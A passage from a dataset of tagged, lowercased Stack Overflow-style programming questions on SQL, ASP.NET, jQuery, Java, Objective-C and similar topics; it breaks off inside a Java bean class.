sql update not running  reasons unknown  i am trying to run an update and for reasons i cannot figure out why it is not running.    the error:   <pre><code>failed to run query: sqlstate[42000]: syntax error or access violation: 1064 you have an error in your sql syntax; check the manual that corresponds to your mysql server version for the right syntax to use near  where eventid =  2   at line 4 </code></pre>   i cannot figure out what is wrong with the syntax.   <pre><code> $query =          update event        set assignedto =  $assignedto  project =  $project  category =  $eventcategory         status =  $status  services =  $eventservices  priority =  $eventpriority         where eventid =  $id   ;       try {           $stmt = $db-&gt;prepare($query);         $stmt-&gt;execute();        }      catch(pdoexception $ex){ die(  failed to run query:   . $ex-&gt;getmessage()); }       die(                       changes submitted );  }  </code></pre>,sql
asp.net - if condition inline with html code <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/368169/conditional-logic-in-asp-net-page >conditional logic in asp.net page</a>    </blockquote>     i am new to asp.net.    lets say i have couple tables  and some tables i used td tag to place the gridview and detailsview in side.  note that these detailsview and gridview are not related like one click another refresh  just display records.  in detailsview  i also have add  edit  and delete option.  example below.   <pre><code>&lt;form name= form1  runat= server  class= formdetail &gt; &lt;table width= 80%  align= center  &gt;     &lt;tr&gt;         &lt;td width= 20% &gt;&lt;/td&gt;         &lt;td width= 80%  class= pagetitle &gt;&lt;/td&gt;         &lt;td width= 20% &gt;             &lt;asp:button runat= server  commandname= addnewproposal  id= addnewproposal  text= create note               href= proposalcreatenote.aspx proposalid=proposalid=               title= create note  class= button3 /&gt;                    &lt;/td&gt;     &lt;/tr&gt; &lt;/table&gt;         &lt;div style= width:40%; margin-right: auto; margin-left: auto; &gt;         &lt;asp:detailsview autogeneraterows= false  datakeynames= proposedid  datasourceid= sqldatasource2              headertext= proposal detail view  id= detailsview1               runat= server  width= 100%  validaterequest= false               cssclass= products              headerstyle-cssclass= header              fieldheaderstyle-cssclass= fieldheader              alternatingrowstyle-cssclass= alternating              rowstyle             commandrowstyle-cssclass= command              pagerstyle-cssclass= pager              &gt;          &lt;fields&gt;             &lt;asp:templatefield headertext= proposedid  sortexpression= name  &gt;                  &lt;itemtemplate &gt;                     &lt;asp:label id= proposalid  runat= server  style= text-align:left;                        text= &lt;%# eval( proposedid )%&gt;  /&gt;                 &lt;/itemtemplate&gt;             &lt;/asp:templatefield&gt;              &lt;asp:boundfield datafield= mdfname  headertext= mdf name  sortexpression= mdfname  /&gt;                    &lt;asp:templatefield headertext= vendorname &gt;                     &lt;itemtemplate&gt;                         &lt;asp:label id= lblvendorname  runat= server  style= text-align:left;  text= &lt;%# eval( vendorname )%&gt; /&gt;                     &lt;/itemtemplate&gt;                     &lt;insertitemtemplate&gt;                         &lt;asp:dropdownlist id= insertvendorname  datasourceid= vendorsqldatasource                              datatextfield= vendorname  datavaluefield= vendorid                               selectedvalue= &lt;%# bind( vendorid ) %&gt;                              onselectedindexchanged= ddlvendor_selectedindexchanged                               runat= server  autopostback= true &gt;                             &lt;asp:listitem text= select  value= -1 &gt;&lt;/asp:listitem&gt;                           &lt;/asp:dropdownlist&gt;                          &lt;asp:sqldatasource id= vendorsqldatasource   connectionstring= &lt;%$connectionstrings:connectionstring%&gt;                              selectcommand= select vendorid  vendorname from mdf_vendor   runat= server &gt;                         &lt;/asp:sqldatasource&gt;                     &lt;/insertitemtemplate&gt;                      &lt;edititemtemplate&gt;                         &lt;asp:dropdownlist id= updatevendorname  datasourceid= vendorsqldatasource   autopostback= true                          datatextfield= vendorname   datavaluefield= vendorid                            selectedvalue= &lt;%# bind( vendorid ) %&gt;                               runat= server                           onselectedindexchanged= ddlvendor_selectedindexchanged   /&gt;                                                &lt;asp:sqldatasource id= vendorsqldatasource   connectionstring= &lt;%$connectionstrings:connectionstring%&gt;                              selectcommand= select vendorid  vendorname from mdf_vendor   runat= server &gt;                         &lt;/asp:sqldatasource&gt;                     &lt;/edititemtemplate&gt;                 &lt;/asp:templatefield&gt;          &lt;/fields&gt;          &lt;/asp:detailsview&gt;                            &lt;asp:sqldatasource id= sqldatasource2  runat= server  connectionstring= &lt;%$connectionstrings:connectionstring %&gt;              selectcommand= select p.*                           (select vendorname from mdf_vendor where vendorid = p.vendorid) as vendorname                           (select vendorbuname from mdf_vendorbu where vendorbuid = p.vendorbuid) as vendorbuname                         from dbo.mdf_proposed p where p.proposedid = @proposedid              updatecommand= update [mdf_proposed] set [vendorid] = @vendorid                           [vendorbuid] = @vendorbuid                           [mdfsummary] = @mdfsummary                           [mdfamount] = @mdfamount                           [begindate] = @begindate                           [enddate] = @enddate                         where proposedid = @proposedid              insertcommand =  insert into [mdf_proposed] ([vendorid]  [vendorbuid]  [mdfname]  [begindate]  [enddate]  [createdby])                               values (@vendorid  @vendorbuid  @mdfname  @begindate  @enddate   1234 )               deletecommand =  delete  [mdf_proposed]  where proposedid = @proposedid          &gt;                &lt;selectparameters&gt;                     &lt;asp:querystringparameter name= proposedid  querystringfield= proposedid   runat= server  /&gt;             &lt;/selectparameters&gt;                                     &lt;updateparameters&gt;              &lt;asp:parameter name= proposedid  type= int32  /&gt;             &lt;/updateparameters&gt;                             &lt;/asp:sqldatasource&gt;     &lt;/div&gt;  &lt;hr align= center  width= 96%  size= 1  color= darkblue  /&gt;   &lt;!-- //////////////////// need to hide thi table where querystring mode=insert ///////////////////// --&gt; &lt;table  align= center   width= 96%  id= table2  border= 0 &gt;     &lt;tr&gt;          &lt;td class= center titlesmall &gt;notes&lt;/td&gt;      &lt;/tr&gt;     &lt;tr&gt;         &lt;td width= 48% &gt;     &lt;asp:gridview id= gridview_note  runat= server      autogeneratecolumns= false           datakeynames= proposednoteid          datasourceid= dsproposalnote             showfooter= true          cssclass= mgrid          pagerstyle-cssclass= pgr          alternatingrowstyle-cssclass= alt                            &gt;     &lt;alternatingrowstyle forecolor= black   backcolor= #f7f6f3   verticalalign= top  /&gt;     &lt;headerstyle backcolor= #b5daff  font-bold= true  horizontalalign= center  /&gt;     &lt;pagerstyle backcolor= gold  forecolor= white  horizontalalign= center  /&gt;         &lt;footerstyle font-bold= true  forecolor= white   backcolor=   /&gt;         &lt;columns&gt;              &lt;asp:boundfield datafield= proposednoteid  headertext= id   itemstyle-width= 5%  /&gt;             &lt;asp:templatefield itemstyle-width= 70% &gt;                 &lt;itemtemplate&gt;                      &lt;asp:label runat= server  datafield= note  headertext= note  text= &lt;%#eval( note ) %&gt;  /&gt;                  &lt;/itemtemplate&gt;             &lt;/asp:templatefield&gt;             &lt;asp:boundfield datafield= createdby  headertext= created by   itemstyle-width= 13% /&gt;             &lt;asp:boundfield datafield= createddate  headertext= created date   itemstyle-width= 12%  dataformatstring= {0:dd/mm/yyyy} /&gt;              &lt;asp:templatefield headertext= delete &gt;                  &lt;itemtemplate&gt;                       &lt;asp:linkbutton id= btndelete  runat= server  commandname= delete  text= delete                      onclientclick= return confirm( are you certain you want to delete this  ); /&gt;                   &lt;/itemtemplate&gt;              &lt;/asp:templatefield&gt;         &lt;/columns&gt;     &lt;/asp:gridview&gt;         &lt;asp:sqldatasource id= dsproposalnote  runat= server   connectionstring= &lt;%$connectionstrings:connectionstring %&gt;          selectcommand= select * from mdf_proposednote where proposedid = @proposedid              deletecommand= delete mdf_proposednote where proposednoteid = @proposednoteid              &gt;         &lt;selectparameters&gt;             &lt;asp:querystringparameter name= proposedid  querystringfield= proposedid   runat= server  /&gt;         &lt;/selectparameters&gt;      &lt;/asp:sqldatasource&gt;      &lt;/td&gt;         &lt;td&gt;&lt;/td&gt;         &lt;td width= 48% &gt;&lt;/td&gt;     &lt;/tr&gt; &lt;/table&gt; &lt;/form&gt; </code></pre>   what i would like to do is that  if the querystring is sending with insert mode on the url (page1.aspx mode=insert). on page load  i want the detailsview1 to be in the insert mode  and hide the table2  which contains the gridview (gridview_note) and other htmlcodes.    if this is classic asp  i believe that i can store the querystring value in a variable and do and if statement before the  to display based on the condition of page.asp mode=insert.    any suggestions how to accomplish this in asp.net  how can i store a variable and inject it inline with html codes   please let me know if i confused you.  thanks in advance.,asp.net
dropdown directive using angular  i have the following directive for a drop down menu (<a href= http://jsfiddle.net/77f4m6n5/2/  rel= nofollow >http://jsfiddle.net/77f4m6n5/2/</a>):   <pre><code>&lt;a href= #  dropdown&gt;open   &lt;ul&gt;     &lt;li&gt;item 1&lt;/li&gt;     &lt;li&gt;item 2&lt;/li&gt;   &lt;/ul&gt; &lt;/a&gt; </code></pre>   and the directive is the following:   <pre><code>app.directive( dropdown   dropdown);  function dropdown() {    var dropdown = {     link: link      replace: false      restrict:  a    };    return dropdown;    function link(scope  element  attributes) {        element.bind( click   function(event)   {                                                         element.children().toggleclass( active );    });     }  }  </code></pre>   can i create such a directive but more in  an angular way   i think i should have a directive for the link and another for the dropdown  no,angularjs
customize the request to get data from another url resources  the situation is as follows: a cms system (close source) doesn t use friendly urls in the manner that we want. it add sub-maps and a static .aspx file and we don t that. example: the cms recognizes this: /public/submap/bla/page.aspx id=contact (page  contact  in this example). but we want friendly ursl for this page like this: <strong>/contact</strong>.    my goal: before the cms engine renders the page  that an incoming request (/contact) will change to the cms recognized url (/public/submap/bla/page.aspx id=contact) but the browser doesn t see this.    i ve tried this on some pages with httpmodule (interface ihttpmodule  event beginrequest) but the only possible way is to redirect 300 to the browser (it will recevied  /contact  and do a redirect to /public/.../page.aspx id=contact which the browser address toolbar shows).     it there a manner to  fake  the cms engine that will recognized it s own url but between browser and asp.net an another url      environment: iis6 (windows 2003) and .net framework 3.5/4.0.,asp.net
how can i store audio file in sqlite..   i want to save recorded file and after that i want to save in sqlite database. how it possible  give me some proper guideline on that.. ayn suggestion welcomes...,iphone
unable to call one #define macro from another  i have these lines   <pre><code>#define log(fp  fmt  ...) fprintf(fp   %s:%d:  fmt  __file__  __line__  ## __va_args__)  #define out(fmt  ...) log(stdout  fmt  __va_args__)  </code></pre>   compiler shows out to be erroneous. how do i call log from within out       error messages:   <ol> <li>expected expression before ‘)’ token in log</li> <li>expansion error when i use it as <code>out( hello world );</code> </li> </ol>,c
dealing with std::list in std::map for operator== operator!= etc  i am trying to understand directed graph implementation (without boost library that is mentioned alot) just trying to learn things in c++. here is what i came up with reading various pointers on different questions. i figured i could use a map to look up certain places within the graph and a list to hold the links together.    so the key would be say the first one to be added to the list and those that it links to would be the value held as a list      this gives     <em>key</em> john<br> <em>value</em> list<br> <em>list</em> taylor->larry->sarah   <pre><code>#include &lt;iostream&gt; #include &lt;map&gt; #include &lt;list&gt;  class graph {     public:         typedef std::map &lt;std::string  std::list&lt;std::string&gt; &gt; maptype;         maptype am; // adjacency map          graph() {         }          void addvertex(std::string s) {             if(!am[s]){ // trying to check if the key has been defined before             std::list&lt;std::string&gt; l;             am[s]=l;             }                }          void addedge(std::string s1  std::string s2) {             addvertex(s1);             addvertex(s2);             am[s1].push_back(s2);         }  };   int main (int argc  char *argv[] ){     graph *people;     people = new graph();     people-&gt;addvertex( john );     people-&gt;addedge( john   taylor );  } </code></pre>   what is the proper way to check whether a key in a map has been defined before for a list as the value <br> i know that for      <pre><code>std::map &lt;std::string  int &gt; </code></pre>   the default for unassigned keys is 0 so i would just use <code>!am[s]</code> to check is string s is defined.    for a list it starts off with an error saying there is no match for the operator  which i assume it is talking about the list i am using as the values.    i tried using <code>if(am[s].empty()){</code> but i don t think that gets what i am looking for.,c++
appdelegate int value keeps getting reset  in my project appdelegate file  i have an int declared called correctanswerscountr1. so in the app they take a small quiz and that variable keeps track of how many correct answers they got. now somewhere else in the project i use this variable like so:   <pre><code>int r1score=appdelegate.correctanswerscountr1; </code></pre>   the problem is that apparently if i exit the app and come back  the value isn t remembered  and is set back to its default value. how can i store this number so that it is remembered if the user closes the app and comes back,objective-c
how to add arguments to a java application  i want to add arguments to my java application before i run it. i want to be able do somthing like:   <pre><code>public static void main(string args[]) {     string document = args[0];     new documentviewer(document); } </code></pre>   i want to do somthing like when you click on a word document it opens up the document by itself  you dont have to open word and then click open. does anyone know how to add arguments  all relevant answers are appriciated!,java
why doesn t this javascript function `submitform()` work   i am using the below snippet.   <pre><code>  &lt;script&gt;   function submitform()   {       var urlparam =  init_gender= +document.getelementbyid( gender ).value+ &amp;init_room=1&amp;init_user= +document.getelementbyid( nickname ).value;       var url =  client/htmlchat/start.html ;       var encordedurl = url+   +encodeuri( urlparam );        document.location.href = encordedurl;   }   &lt;/script&gt; </code></pre>   with a single <code>document.getelementbyid</code> it works  but now i need to add more information to <code>urlparam</code> it has stopped working.    is it not possible to use more than 1 <code>document.getelementbyid</code> like this  or am i just joining it incorrectly,javascript
recovering types through an isa relationship  my database has 7 tables: one is the parent (feeds) and the other 3 are the children (public feeds  private feeds  generated feeds) of an isa relationship. there is a table  subscriptions  with a foreign key on the feeds table. each user can subscribe a feed of any type. the problem is that the view for each type of feed is different  that means i need to generate different links for each type of feed subscribed. under the current scheme i need to perform 3 queries to get the type of the feed from the feed id. is there a better solution to this problem,sql
how to continue after the nested model forms railscasts   i followed the railscasts nested model form part 1  making some changes to have it work in rails 4. basically  i created 3 models: quiz  question  and answer  and they all belong_to the model intuitively above them. a form in the <code>new</code> action is used to create the quiz itself.    however  i m at a bit of loss on how to proceed now. after creating the quiz  the <code>show</code> view looks like this: <a href= https://i.stack.imgur.com/txysi.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/txysi.png  alt= enter image description here ></a>    done by iterating through <code>@quiz.questions</code> and <code>@quiz.questions.answers</code> and just displaying them on the page with their respective <code>content</code> attributes.    that s great for displaying just the questions and answers  but it doesn t accept user input at all. how do i make it so the user can use radio buttons to select an answer  and have it submit somewhere to save the results for grading and future reference for the user       i ve actually tried to create a form simply within the <code>show</code> action and have it save to another model but i got stuck extremely quickly. i m finding it really difficult to both display the results and accept user input for the displayed results. i also can t figure out a good way to save this data. making another 3 models with the equivalent of questions having something like a user_answer attribute seems difficult to implement and messy. i m a beginner of the grandest caliber so any help would be great!,ruby-on-rails
jquery .wrap issue  how would i go about using the jquery <code>.wrap</code> method to wrap a span around text in an element     here is the code i am working with so far:   <pre><code>$.each(childelements  function(i  val) {             $(childelements[i]).wrap( &lt;span class=   id= child_element_  + i +    /&gt; );         }); </code></pre>   i want to wrap that span around the text that is in my childelements array (the childelements array contains tags such as <code>&lt;a&gt;</code>  <code>&lt;b&gt;</code> and <code>&lt;i&gt;</code>,jquery
objective-c equivalent to ruby s #define_method   is it possible to dynamically define methods in objective-c like we would in ruby    <pre><code>[:failure  :error  :success].each do |method|  define_method method do     self.state = method   end end </code></pre>,objective-c
variable scope with same variable name   (objective c code)   <pre><code>int i=5; {     int i=i;     nslog(@ inside scope: %i  i); } nslog(@ outside scope: %i  i); </code></pre>   prints:    3385904 (garbage)    5   <hr>   replacing <code>int i = i;</code> with <code>int i= 10;</code> prints correctly... (inside the scope s <code>i</code>)    such as:    10    5    and (this code alone)   <pre><code>int i=i; </code></pre>   compiles  but segfaults immediately.   <hr>   how are any of these syntax s valid  what use are they  or are they compiler bugs that should have been caught earlier     is there any situation where it is necessary for using the same variable names inside a new scope under a new type  and how would you differentiate     my only thoughts is could be the <code>for() loop</code>  as the compiler would be upset you re redefining <code>int i;</code> twice if you have two loops.,objective-c
how to block direct access to html page  i have a sub html (template) <code>products.html</code>  that i included in my <code>index.html</code> page with javascript/jquery function .load()    now the problem is products.html can be access directly if you type its url  and it gives a very ugly page alone  so i tried to redirect anyone who tries to access it to index.html using js function <code>windows.location</code>. the problem with this method is  when my template is loaded in my main page  the js script fires  and it leads to refresh to the page. so is there another way to go about this !,html
class  threaded  not found  i am experimenting with multi threading in php. im using php 5.6  however l have downloaded extensions for this version of php  namely : pthreadvc2.dll  php_pthreads.dll i have also edited my php.ini file by adding the following lines:   <pre><code>extension=php_pthreads.dll extension=pthreadvc2.dll </code></pre>   but l am still getting the error: class  threaded  not found. am l missing something     thank you,php
iphone sdk with commandline  i try to call command line or shellscript in objective c to use with iphone application but it not work i use system( ls );  or nsstring *cmd = @ ls ; system([cmd utf8string]); or fopen  but it s no respond  please help me  i want to use shell script to scp callog to server,objective-c
label for=   tag in firefox ! <pre><code>&lt;label id= hhaaaa  for= &lt;%= hh.clientid %&gt; &gt;     &lt;table style= height: 100px; width: 300px;cursor: pointer  cellpadding= 0  cellspacing= 0  id= jhuu  onmouseover= highlight(this.id true  ss );  onmouseout= highlight(this.id false  ss );  class= asdqweqwe &gt;         &lt;tr&gt;             &lt;td&gt;                 &lt;table cellpadding= 0  cellspacing= 0 &gt;                     &lt;tr&gt;                         &lt;td colspan= 3  style= height: 10px &gt;                         &lt;/td&gt;                     &lt;/tr&gt;                     &lt;tr&gt;                         &lt;td valign= top  style= width: 20px; padding-left: 5px; padding-top: 7px &gt;&lt;input id= hh  runat= server  type= checkbox  /&gt;&lt;/td&gt;                         &lt;td style= width: 60px  valign= top  align= center &gt;&lt;img src=   /&gt;&lt;/td&gt;                         &lt;td align= left  valign= top &gt;&lt;span style= font-weight: bold; &gt;&lt;/span&gt;&lt;img alt=   id= asd  onclick=   style= cursor: pointer  src=   /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span&gt;&lt;/span&gt;&lt;/td&gt;                     &lt;/tr&gt;                     &lt;tr&gt;                         &lt;td colspan= 3  style= height: 10px &gt;                         &lt;/td&gt;                     &lt;/tr&gt;                 &lt;/table&gt;             &lt;/td&gt;         &lt;/tr&gt;     &lt;/table&gt;  &lt;/label&gt; </code></pre>   hello i write this code to make  a check box label this code run in all browser except firefox    !!!!,html
unslider arrow code overriding slider options  not sure why but whenever i add the arrows part my options get overridden. not the best at jquery and javascript so if you guys can help point out what i am not seeing. i tried adding the options in the second part and nothing.   <pre><code>$=jquery;    $( .slider ).unslider({ speed: 500                //  the speed to animate each slide (in milliseconds) delay: 33000               //  the delay between slide animations (in milliseconds) complete: function() {}   //  a function that gets called after every slide animation keys: false                //  enable keyboard (left  right) arrow shortcuts dots: true                //  display dot navigation fluid: false              //  support responsive design. may break non-responsive }); // this overrides my options above. var unslider = $( .slider ).unslider(); $( .unslider-arrow ).click(function() {     var fn = this.classname.split(   )[1];     //  either do unslider.data( unslider ).next() or .prev() depending on the classname     unslider.data( unslider )[fn]();  }); </code></pre>,jquery
is there a simple a way to prevent the other input can type in jquery   the html structure:   <pre><code>1   &lt;input id= form1  size= 12  maxlength= 10  class= form-text  type= text &gt;  2   &lt;input id= form2  size= 12  maxlength= 10  class= form-text  type= text &gt;  3   &lt;input id= form3   size= 12  maxlength= 10  class= form-text  type= text &gt;  4   &lt;input id= form4   size= 12  maxlength= 10  class= form-text  type= text &gt;  5   &lt;input id= form5   size= 12  maxlength= 10  class= form-text  type= text &gt;  6   &lt;input id= form6  size= 12  maxlength= 10  class= form-text  type= text &gt;  7   &lt;input id= form7   size= 12  maxlength= 10  class= form-text  type= text &gt;  8   &lt;input id= form8   size= 12  maxlength= 10  class= form-text  type= text &gt;  9   &lt;input id= form9   size= 12  maxlength= 10  class= form-text  type= text &gt;  10   &lt;input id= form10   size= 12  maxlength= 10  class= form-text  type= text &gt;  11   &lt;input id= form11   size= 12  maxlength= 10  class= form-text  type= text &gt; </code></pre>   if don t alter the html structure. is there a way to do this.    if 1 2 3 4 have content. then the rest can t type anything.     if 4 5 6 have something. then the rest can t type anything.    if 8 has something.then the rest can t type anything.    if  9 10 11 has something.then the rest can t type anything.,jquery
writing text in tabs on android  i am trying to write some text in the body of my tabs on android this is the following code that i have.            <pre><code>intent = new intent().setclass(this  tab1.class); spec = tabhost.newtabspec( songs ).setindicator( information                      res.getdrawable(r.drawable.ic_tab_artists))                   .setcontent(r.id.tab1layout); tabhost.addtab(spec); </code></pre>   can someone tell me what to do in order for me to add some text to the body of the tab,android
dynamic variable initialization error in java  i have this piece of code which is giving an error saying    <blockquote>    variable prioritycheck is not initialized  </blockquote>   the output that i require is that the query executes with the given value of <code>prioritycheck</code> in a loop. here is the code:   <pre><code>string query; string strcomp; int perfound; statement stmt = null; resultset rs = null; string prioritycheck;  // running the queries for (int i = 0; i &lt; names.size(); i++) {   strcomp = types.get(i).tostring();   perfound = strcomp.indexof( % );   if (strcomp.indexof( p1 ) != -1) {     prioritycheck =          a.subscriptiontype=0 and a.applyticketpriorityfilterflag = 1 and a.p1 &amp; a.p2 = 1 ;   } else if (strcomp.indexof( p2 ) != -1) {     prioritycheck =          a.subscriptiontype=0 and a.applyticketpriorityfilterflag = 1 and a.p3 &amp; a.p4 = 1 ;   } else if (strcomp.indexof( wo ) != -1) {     prioritycheck =  a.subscriptiontype=2 ;   }    if (perfound == -1) {      query =          select datediff(minute a.laststatusdate getutcdate()) from sasubscriptionpiiview a saworkflowtoolpiiview b where (a.toolid=b.id and a.active=1 and a.subscriptioncategory=0 and               + prioritycheck             +   and b.toolname like               + types.get(i)             +  ) ;     writelog(query);   } else {     query =          select datediff(minute a.laststatusdate getutcdate()) from sasubscriptionpiiview a saworkflowtoolpiiview b where (a.toolid=b.id and a.active=1 and a.subscriptioncategory=0 and               + prioritycheck             +   and b.toolname like               + types.get(i)             +  ) ;     writelog(query);   } } </code></pre>,java
object leaked : allocated object is not referenced later in this execution path and has a retain count of +1  after analyzing application found this message <strong>object leaked : allocated object is not referenced later in this execution path and has a retain count of +1</strong> on these lines   <pre><code> nsstring *filepath = [[nsbundle mainbundle] pathforresource:@ theme                                                        oftype:@ mp3 ];   nsurl *fileurl = [[nsurl alloc] initfileurlwithpath:filepath]; </code></pre>   for this statement it says   <pre><code>   self.audioplayer.currenttime = 0; </code></pre>   object allocated and stored into fileurl is not referenced later in this exception path and has a retain count of +1    any ideas how to fix it.    thanks,iphone
is it possible to easily display a view that stays visible as view controllers change   i have a requirement to display a thin status-bar-like view below the navigation bar that slides into view and remains visible for several seconds before sliding back out of sight when certain actions occur.    i could do this easily enough for any given view controller by animating its frame as appropriate when it needs to appear/disappear.    however i have a few different view controllers and i don t want to duplicate the same code for managing the appearance of the bar in each controller. besides duplication of code i suspect there ll be flicker when navigating between controllers if the bar is currently meant to be visible at the time of changing controllers.    what are options for approaching this problem,ios
replacement for <pre> and/or <code> tags   it appears <code>&lt;pre&gt;</code> and <code>&lt;code&gt;</code> are ignored by ie8 and ff10. what can i do to display preformatted text,html
export to csv after doing left join query in tables  is there a way we can export to csv of the result set of sql output of tables joint with left joins     i want to be able to get tree based data output in csv if possible in mysql database.,mysql
what is the best way to crop an image with css   i want to show a photo in my page  the div layer is 500 * 500px. i will replace the picture very often  the picture size is not sure  may be horizontal version may be vertical version  maybe 800*600px maybe 576*720px.    i don t want to get the photo deformation. how to set css or js  make the photo show only the center 500 * 500 px  hide the around part.,css
python replace backward (\) with forward (/)  i am trying to replace <code>\</code> with <code>/</code>. however  i m having no success. following is the snapshot of the scenario that i am trying to achieve   <pre><code>string =  //sql-server/lacie/city of x/linservo\171002          print string.replace( \\   / )   </code></pre>   <strong>output:</strong>   <pre><code>//sql-server/lacie/city of x/linservoy002   </code></pre>   <strong>desired output:</strong>   <pre><code>//sql-server/lacie/city of x/linservo/171002 </code></pre>,python
"white space between divs - no css  could anyone explain to me why there is whitespace between the first two div s and how to generally eliminate it  i looked in dev tools and it s not a margin or padding  its just plain white space...    thanks!    <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;div id= top-bar &gt;
        bbc navigation bar
      &lt;/div&gt;
 
      &lt;div class= content &gt;
           &lt;div class= red-bar &gt;
                 &lt;div class= news-title &gt;
                 &lt;h1&gt;news&lt;/h1&gt;
                 &lt;/div&gt;
           &lt;/div&gt;
 
 &lt;/div&gt;</code></pre>
 </div>
 </div>",html
how can i do arraylist of methods   is it posible in java    <pre><code>void aaa(){}  arraylist&lt;method&gt; list = new arraylist&lt;method&gt;(); list.add(aaa); </code></pre>   if it isn t  how i can realize collection of methods (functions). <br>i want to get some method by id.,java
how to find the version of windows with php  i am trying to find a php function allowing me to see what version of windows a user is using  and before you tell me not everyone uses windows  i am using this function to educate and give people alternative browsers to internet explorer - a windows only browser.    i would like to be able to detect all 9 versions of windows  is this possible in php,php
branded version of windows application  what is the best method to create branded verion for .net windows application.,.net
do the element ids of the documents in a frameset have to be unique  i know that in html my element id has to be unique (document wide).    but when it comes to frames:    i have to maintain an old web application  and i have to change some parts.    when i have frames  a frameset.    can i have  for instance  the id  main  multiple times  once in a single frame document  or means  document wide  all frames in a frameset.    thanks alot in advance,html
understanding release with nsmutabledata returning from a function  currently i m working on enhancing a project that has been developed by an external company for us. i m still in the learning phases of ios development  so want to make sure that i do things right at the beginning rather than hurt at the end of the project. i m running analyze on the project and getting a  potential leak of an object allocated on line 166 and stored into  commandtosend   from the following block of code.   <pre><code>-(nsdata*)getbusinesscodebase64:(nsstring*)strbusicode{     nsarray *tmp_arr = [strbusicode componentsseparatedbystring:@ - ];     nsmutabledata *commandtosend= [[nsmutabledata alloc] init];     unsigned char whole_byte;     char byte_chars[3] = { \0   \0   \0 };     int i;     for (i=0; i &lt; [tmp_arr count]; i++) {         byte_chars[0] = [[tmp_arr objectatindex:i] characteratindex:0];         byte_chars[1] = [[tmp_arr objectatindex:i] characteratindex:1];         whole_byte = strtol(byte_chars  null  16);         [commandtosend appendbytes:&amp;whole_byte length:1];      }     //nsdata *result = [nsdata datawithdata:commandtosend];     //[commandtosend release];     //return result;     return commandtosend; } </code></pre>   my investigating of this is that the call to this function wants an nsdata* to be returned. so i looked at doing     <pre><code>nsdata *result = [nsdata datawithdata:commandtosend]; [commandtosend release]; return result; </code></pre>   instead of the direct return of commandtosend.     is this the correct way of returning nsmutabledata objects without leaking or is there some other way that i should be doing this.,ios
how to use not in clause with sum clause in sql  i have these tables    <pre><code>student_record              grades                      courses ----------------         ----------------------       --------------------- id        grade       course_no   letter  points      course_no   code  crd ----------------         ----------------------       --------------------- 2255       a+             1        a+      4            1         coe200  4          2255       b+             2        b+     3.5           2         coe305  3 2255       np             3        np      0            3         coe400  4 2255       nf             4        nf      0            4         coe405  3 </code></pre>   the i wrote this query   <pre><code>select      student_record.id      sum(courses.crd * grades.points) as sum_grade_credits from grades      inner join student_record on grades.letter = student_record.grade     inner join courses on courses.course_no = student_record.course_no   where student_record.id=2255; </code></pre>   how i can let this query do not retrieve data when it see (np or nf)       i mean at (np or nf)situation the query do not do any operations,sql
java beanutils.copyproperties exception in thread  main   i run my test code but show from console <code> ==========start========== exception in thread  main  java.lang.nullpointerexception at practice.beanutilscopypropertiestest.main(beanutilscopypropertiestest.java:16)</code>    if i use  <code>ch409fid frombean = new ch409fid(); frombean.setxxx</code>    it s work!!    but i don t know why i can t use  <code>ch409f frombean = new ch409f(); frombean.getid().setxxxx</code>    thanks a lot...    my code like this:    <strong>main</strong>   this is my main code   <pre><code>package practice;  import java.lang.reflect.invocationtargetexception;  import org.apache.commons.beanutils.beanutils; import org.apache.commons.lang.builder.tostringbuilder;  import bean.ch409diff; import bean.ch409f;  public class beanutilscopypropertiestest {      public static void main(string[] args) {         system.out.println( ==========start========== );         ch409f frombean = new ch409f();         frombean.getid().setcardclass( frombean:cardclass );         frombean.getid().setcardno( frombean:cardno );         frombean.getid().setregid( frombean:regid );         frombean.getid().setseqno( frombean:seqno );         frombean.getid().setstoreno( frombean:storeno );         frombean.getid().settaskid( frombean:taskid );         frombean.getid().settransdate( frombean:transdate );         frombean.getid().settranstime( frombean:transtime );         frombean.getid().settranstype( frombean:transtype );          ch409diff tobean = new ch409diff();         tobean.getid().setcardclass( tobean:cardclass );         tobean.getid().setcardno( tobean:cardno );         tobean.getid().setregid( tobean:regid );         tobean.getid().setseqno( tobean:seqno );         tobean.getid().setstoreno( tobean:storeno );         tobean.getid().settaskid( tobean:taskid );         tobean.getid().settransdate( tobean:transdate );         tobean.getid().settranstime( tobean:transtime );         tobean.getid().settranstype( tobean:transtype );          system.out.println(tostringbuilder.reflectiontostring(frombean.getid()));         system.out.println(tostringbuilder.reflectiontostring(tobean.getid()));         try {             system.out.println( copying properties from frombean to tobean without setactdate );             beanutils.copyproperties(tobean  frombean);         } catch (illegalaccessexception e) {             e.printstacktrace();         } catch (invocationtargetexception e) {             e.printstacktrace();         }         system.out.println(tostringbuilder.reflectiontostring(frombean.getid()));         system.out.println(tostringbuilder.reflectiontostring(tobean.getid()));          frombean.getid().setactdate(tobean.getactdate());          try {             system.out.println( copying properties from frombean to tobean with setactdate );             beanutils.copyproperties(tobean  frombean);         } catch (illegalaccessexception e) {             e.printstacktrace();         } catch (invocationtargetexception e) {             e.printstacktrace();         }          system.out.println(tostringbuilder.reflectiontostring(frombean.getid()));         system.out.println(tostringbuilder.reflectiontostring(tobean.getid()));         system.out.println( ==========end========== );     }  } </code></pre>   <strong>ch409diff:</strong>   this is bean   <pre><code>package bean; import java.util.date; public class ch409diff implements java.io.serializable { private ch409diffid id; private string actdate; private string clerkno; private string amt; private string invamt; private string incamt; private string pfsamt; private string fee; private string pfsfee; private string beforeamt; private string afteramt; private string cardtype; private string cardseqno; private string rwno; private string samid; private string other; private string updflag; private string updid; private string autoloadamt; private string procflag;  public ch409diff() { }  public ch409diff(ch409diffid id  string actdate  string updflag) {     this.id = id;     this.actdate = actdate;     this.updflag = updflag; }  public ch409diff(ch409diffid id  string actdate  string clerkno  string amt          string invamt  string incamt  string pfsamt  string fee          string pfsfee  string beforeamt  string afteramt          string cardtype  string cardseqno  string rwno  string samid          string other  string updflag  string updid  string autoloadamt string procflag) {     this.id = id;     this.actdate = actdate;     this.clerkno = clerkno;     this.amt = amt;     this.invamt = invamt;     this.incamt = incamt;     this.pfsamt = pfsamt;     this.fee = fee;     this.pfsfee = pfsfee;     this.beforeamt = beforeamt;     this.afteramt = afteramt;     this.cardtype = cardtype;     this.cardseqno = cardseqno;     this.rwno = rwno;     this.samid = samid;     this.other = other;     this.updflag = updflag;     this.updid = updid;     